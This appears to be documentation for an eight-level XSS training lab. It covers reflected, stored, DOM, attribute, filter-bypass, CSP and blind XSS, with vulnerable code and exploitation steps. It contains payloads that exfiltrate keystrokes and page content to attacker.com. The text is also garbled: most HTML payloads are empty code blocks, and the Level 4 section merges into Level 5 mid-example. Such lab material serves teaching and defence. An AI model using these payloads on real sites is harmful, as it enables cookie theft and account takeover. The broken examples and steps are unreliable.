Share
## https://sploitus.com/exploit?id=D12A28C6-694E-5D32-8345-FBD787F8EA5E
# XSS Lab Documentation

## Overview

### What Is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a client-side code injection attack in which an attacker injects malicious scripts into web pages viewed by other users. The injected code runs in the victim's browser with the same privileges as the legitimate web application, allowing the attacker to steal session cookies, credentials, perform actions on behalf of the user, redirect to phishing pages, and much more.

XSS is consistently ranked in the OWASP Top 10 and remains one of the most prevalent web vulnerabilities. According to HackerOne's bug bounty reports, XSS is frequently the most reported vulnerability type.

### The Root Cause

XSS occurs when:
1. **User-controlled data** enters the application (URL parameters, form inputs, HTTP headers, cookies).
2. The application **renders that data in an HTML response** without proper encoding or sanitization.
3. The browser **interprets the rendered data as executable code**.

The fundamental mistake is treating user input as trusted content and allowing it to be interpreted as HTML or JavaScript by the browser.

### Types of XSS

| Type | Description | Persistence | Server Involvement |
|------|-------------|-------------|-------------------|
| Reflected | Input reflected in immediate response | None | Yes |
| Stored | Payload stored in DB, served to all users | Persistent | Yes (storage) |
| DOM-based | Client-side JS reads/writes to DOM without server | None | No |
| Blind | Fires in context attacker cannot directly observe | Persistent | Yes |

### Impact of XSS

- **Session hijacking**: Steal HttpOnly-free session cookies via `document.cookie`
- **Account takeover**: Perform actions as the victim user
- **Credential harvesting**: Inject fake login forms
- **Keylogging**: Capture all keystrokes
- **Cryptocurrency mining**: Run scripts in victim's browser
- **Lateral movement**: Attack internal network resources
- **Defacement**: Modify page content
- **Malware distribution**: Redirect users to exploit kits

---

## Lab Structure

The XSS Training Lab contains 8 escalating levels:

| Level | Name | Difficulty | Points | Key Technique |
|-------|------|-----------|--------|---------------|
| 1 | Reflected XSS | Easy | 100 | innerHTML with reflected input |
| 2 | Stored XSS | Easy | 150 | localStorage โ†’ innerHTML |
| 3 | DOM XSS | Medium | 200 | location.hash โ†’ innerHTML |
| 4 | Attribute Injection | Medium | 250 | Breaking out of HTML attributes |
| 5 | Filter Bypass | Hard | 350 | Blacklist evasion |
| 6 | CSP Bypass | Hard | 500 | unsafe-inline misconfig |
| 7 | Blind XSS | Hard | 450 | Admin panel execution |
| 8 | Real-World XSS | Medium | 300 | E-commerce + messaging |

Total points available: **2,300**

---

## Level 1: Reflected XSS

### Description

Reflected XSS occurs when user input is immediately "reflected" back in the server's HTTP response without proper encoding. The payload is not stored โ€” it travels as part of the request (typically a URL parameter) and is echoed back in the response. The victim must be tricked into clicking a malicious link for the attack to succeed.

### Where the Bug Is

**File:** `script.js`
**Function:** `level1Search()`
**Vulnerable line:**
```javascript
vulnSetHTML(resultsEl, `
  
    Showing results for: ${query}
  
`);
```

The `query` variable comes directly from `document.getElementById('l1-search').value` with no sanitization before being embedded in the HTML template literal.

### How It Works

1. User types a search query (or clicks a crafted URL like `/search?q=`)
2. The JavaScript reads the query value
3. The query is concatenated directly into an HTML string
4. That HTML string is written to the DOM via `innerHTML`
5. The browser parses the HTML, finds the `` tag with `onerror`, and executes the JavaScript

### Example Payloads

**Basic image error:**
```html

```

**Script tag:**
```html
alert(document.domain)
```

**Attribute-based (double-quote breakout):**
```html
">alert(1)
```

**SVG-based:**
```html

```

**Without angle brackets (if applicable context):**
```javascript
javascript:alert(1)
```

**Cookie theft:**
```html

```

### Exploitation Steps

1. Open `levels.html` and navigate to Level 1
2. Type `` into the search box
3. Click Search
4. The page reflects your input without encoding
5. The browser parses the `` tag and fires `onerror` when the image fails to load
6. `alert(1)` executes, confirming XSS
7. The CTF system detects the `alert()` call and awards the flag

### Why This Is Dangerous in the Real World

Reflected XSS attacks are delivered via:
- Malicious links in phishing emails: `https://bank.com/search?q=steal_cookie()`
- Social media posts
- QR codes pointing to crafted URLs
- HTTP request smuggling to inject into cached responses

---

## Level 2: Stored XSS

### Description

Stored (or persistent) XSS occurs when the application stores malicious user input in a database or other persistent storage, and later retrieves and renders it without sanitization. Unlike reflected XSS, the victim does not need to click a crafted link โ€” simply visiting the page that renders the stored data is sufficient.

### Where the Bug Is

**File:** `script.js`
**Storage function:** `level2PostComment()` โ€” stores raw input without sanitization:
```javascript
comments.push({
  name: name,
  text: comment,   // VULNERABILITY: no sanitization before storage
  time: new Date().toLocaleString(),
  id: Date.now()
});
```

**Render function:** `level2LoadComments()` โ€” renders stored data via innerHTML:
```javascript
const html = comments.map(c => `
  
    ${c.text}
  
`).join('');
vulnSetHTML(container2, html);
```

### Why Stored XSS Is More Dangerous

1. **No user interaction required** (beyond visiting the page)
2. **Affects all users** who view the page containing the payload
3. **Persistent** โ€” survives page refreshes and browser restarts
4. **Higher impact** โ€” can target admins, moderators, and privileged users
5. **Harder to detect** โ€” the malicious content comes from the application's own database, not a URL

### Example Payloads

**Comment that XSSes every visitor:**
```html

```

**Cookie theft stored in comments:**
```html

```

**Keylogger injected via comment:**
```html
fetch('//attacker.com/k?k='+e.key))">
```

**Redirect all visitors:**
```html

```

### Exploitation Steps

1. Navigate to Level 2 in `levels.html`
2. Enter a name and type `` as a comment
3. Click "Post Comment"
4. The comment is stored in localStorage (simulating a database)
5. `level2LoadComments()` reads the stored comment and injects it via `innerHTML`
6. The `onerror` handler fires immediately, executing the XSS
7. Every subsequent page load triggers the same payload

---

## Level 3: DOM XSS

### Description

DOM-based XSS occurs entirely client-side. The vulnerability exists in JavaScript code that reads data from an attacker-controlled source and writes it to a DOM sink without proper handling. The server is never involved โ€” the malicious payload never touches the server, making it invisible to server-side WAFs and IDS systems.

### Source and Sink Explanation

**Sources** (attacker-controlled inputs):
- `location.href` / `location.search` / `location.hash`
- `document.referrer`
- `window.name`
- `postMessage` data
- `localStorage` / `sessionStorage` (if populated by an attacker)

**Sinks** (dangerous output functions):
- `element.innerHTML = ...`
- `document.write()`
- `eval()`
- `setTimeout(code_as_string)`
- `setInterval(code_as_string)`
- `element.src = ...`
- `jQuery.html()`

### Where the Bug Is

**File:** `script.js`
**Function:** `level3Init()`

```javascript
function level3Init() {
  const hash = decodeURIComponent(location.hash.substring(1)); // SOURCE
  const el = document.getElementById('l3-page-content');
  // VULNERABILITY: DOM source flows into DOM sink
  vulnSetHTML(el, `Page: ${hash}`); // SINK
}
```

The data flow: `location.hash` (source) โ†’ string concatenation โ†’ `innerHTML` (sink)

### Example Payloads

Navigate to:
```
levels.html#
```

Or type into the manual nav input:
```html

```

SVG-based:
```html

```

Event handler:
```html

```

### Key Distinction: DOM XSS vs Reflected XSS

| Aspect | Reflected XSS | DOM XSS |
|--------|--------------|---------|
| Server sees payload | Yes | No (hash never sent to server) |
| WAF can block | Yes | No |
| Browser devtools shows | Response | JavaScript execution |
| Network traffic | Yes | No |

---

## Level 4: Attribute Injection

### Description

Attribute injection XSS occurs when user input is placed inside an HTML attribute value without proper escaping. The attacker injects quotes to break out of the attribute context, then adds event handlers that execute JavaScript.

### Where the Bug Is

**File:** `script.js`
**Function:** `level4LoadProfile()`

```javascript
container.innerHTML = `
  
    
         title="Profile of ${username}" />
    ${username}
  
`;
```

### Breaking Out of the Attribute Context

The input is placed inside `alt="..."`. By injecting a double-quote, we close the attribute:

Input: `" onmouseover="alert(1)" alt="`

Resulting HTML:
```html

```

The browser now sees a valid `onmouseover` event handler.

### Example Payloads

**Mouseover event handler (most common):**
```
" onmouseover="alert(1)" alt="
```

**Error event:**
```
" onerror="alert(1)" src="x
```

**Polyglot (escapes both attributes and tags):**
```
">`, ``, ``, ``, `` tags
- `confirm()`, `prompt()`, `fetch()`, `eval()` functions
- `onload`, `onmouseover`, `onclick`, `onfocus` event handlers
- Case variations: `ScRiPt`, `ALERT` (though alert is blocked case-insensitively, alternatives work)
- Encoding: `alert`, `\u0061lert`
- SVG events: ``
- Template literals: `` `${confirm(1)}` ``

### Bypass Techniques

**Alternative function (confirm bypasses alert block):**
```html

```

**Alternative event handler (onload bypasses onerror block):**
```html

```

**Mouse event:**
```html

```

**Prompt function:**
```html

```

**No filter needed (no blocked terms):**
```html

```

---

## Level 6: CSP Bypass

### What Is Content Security Policy (CSP)?

Content Security Policy is an HTTP response header that tells the browser which content sources are trusted. It's designed as a defense-in-depth measure against XSS. Even if an attacker injects a script, CSP can prevent it from executing.

### CSP Directives

```
default-src 'self'                    - Default policy for all content
script-src 'self' 'nonce-abc123'      - Allowed script sources
style-src 'self' 'unsafe-inline'      - Allowed style sources
img-src *                             - All image sources allowed
connect-src 'self'                    - Fetch/XHR destinations
object-src 'none'                     - No plugins (Flash, etc.)
base-uri 'self'                       - Restrict  element
```

### The Vulnerable (Weak) CSP

```
default-src 'self';
script-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com;
img-src *;
style-src 'self' 'unsafe-inline'
```

**Problem:** `'unsafe-inline'` in `script-src` allows any inline script to run, completely defeating CSP's purpose. This is like locking your car but leaving the window open.

### Why `unsafe-inline` Is Dangerous

With `'unsafe-inline'`:
- `alert(1)` โ€” executes
- `` โ€” executes (event handlers are inline)
- `` โ€” executes

The only things blocked are external scripts from non-whitelisted domains.

### Common CSP Misconfigurations

1. **`'unsafe-inline'`** โ€” allows all inline scripts
2. **`'unsafe-eval'`** โ€” allows `eval()`, `setTimeout(string)`, etc.
3. **Overly broad whitelists** โ€” `https://cdn.example.com` might have a JSONP endpoint
4. **Missing `object-src 'none'`** โ€” allows Flash-based bypass
5. **Missing `base-uri 'self'`** โ€” allows `` injection
6. **`*` wildcard** โ€” allows any domain

### The Strict (Correct) CSP

```
default-src 'self';
script-src 'nonce-abc123';
img-src 'self' data:;
style-src 'self';
object-src 'none';
base-uri 'self'
```

With a nonce-based policy, only scripts with the matching nonce attribute execute:
```html
/* this runs */
/* this is blocked */
```

---

## Level 7: Blind XSS

### What Is Blind XSS?

Blind XSS (also called out-of-band XSS) is a variant of stored XSS where the payload fires in a context the attacker cannot directly observe. The attacker submits a payload in one location (a contact form, support ticket, feedback form) and the payload executes later in a completely different location (an admin panel, log viewer, email client, support tool).

### Why It's Called "Blind"

The attacker:
1. Submits the payload and receives only a "Thank you for your feedback!" confirmation
2. Has no direct visibility into the admin panel
3. Cannot see if their payload executed
4. Relies on **out-of-band callbacks** to confirm execution

### Real-World Use Cases

- **Support ticket systems**: Customer submits XSS in a support ticket; it executes when a support agent opens it
- **Log viewers**: XSS injected into HTTP User-Agent headers executes when an admin views server logs
- **Error monitoring**: XSS in error messages fires in tools like Sentry, Kibana, Splunk
- **Contact forms**: XSS fires in the CRM or email client used by sales/support teams
- **E-commerce order notes**: XSS fires in the merchant's order management portal
- **Analytics dashboards**: XSS in tracked events fires for the marketing team

### The XSSHunter Tool

XSSHunter (xsshunter.com) is the go-to tool for blind XSS:
1. You get a unique domain: `yourname.xss.ht`
2. You use a payload like: `">`
3. When the payload fires, XSSHunter sends you an email with:
   - A screenshot of the page where it fired
   - The URL of the vulnerable page
   - The cookies of the victim
   - The DOM contents
   - HTTP headers

### Example Blind XSS Payloads

**Basic callback:**
```html

```

**XSSHunter-style:**
```html
">
```

**Cookie + URL exfiltration:**
```html

```

**Full page screenshot (using html2canvas):**
```html
fetch('//attacker.com/blind?page='+btoa(document.documentElement.innerHTML.substring(0,2000)))
```

### Exploitation Steps in This Lab

1. Navigate to Level 7 in `levels.html`
2. Submit feedback containing: ``
3. The payload is stored (simulating a database insert)
4. Navigate to `admin.html`
5. Click "Simulate Admin Visit"
6. The admin panel reads the stored payload and injects it via `innerHTML`
7. `onerror` fires, executing `alert(document.cookie)` in the "admin" context
8. The flag is awarded

---

## Level 8: Real-World XSS

### E-Commerce Search XSS

One of the most common bug bounty findings is reflected XSS in product search endpoints. The search query appears in:
- The page heading: "Results for: QUERY"
- Product breadcrumbs: "Home > Search > QUERY"
- Meta tags: ``
- JSON-LD structured data

In this lab, the vulnerable code is:
```javascript
vulnSetHTML(results, `
  Results for: "${query}"
  ${products.map(...).join('')}
`);
```

The `query` parameter from the search input is directly injected into the DOM.

### Messaging XSS

Live chat and direct messaging features are another common source of stored XSS. If messages are rendered as HTML (instead of plain text), any HTML/JavaScript in a message becomes an XSS vector.

This type of XSS is particularly impactful because:
1. The victim doesn't need to navigate to a specific URL
2. Messages arrive in real-time โ€” less suspicious
3. Can target specific users (direct messages)
4. Support agents in chat systems are high-value targets

### Common Real-World XSS Patterns

```
/search?q=PAYLOAD
/products/search?query=PAYLOAD
/api/v1/search?term=PAYLOAD
/checkout/order-notes (stored)
/account/profile/bio (stored)
/support/tickets/create (blind)
/contact (blind)
```

---

## References

- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [PortSwigger Web Security Academy - XSS](https://portswigger.net/web-security/cross-site-scripting)
- [HackerOne Hacktivity - XSS Reports](https://hackerone.com/hacktivity?type=all&querystring=xss)
- [Google XSS Game](https://xss-game.appspot.com/)
- [DOMPurify Library](https://github.com/cure53/DOMPurify)
- [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
- [XSSHunter](https://xsshunter.com/)
- [PayloadsAllTheThings - XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)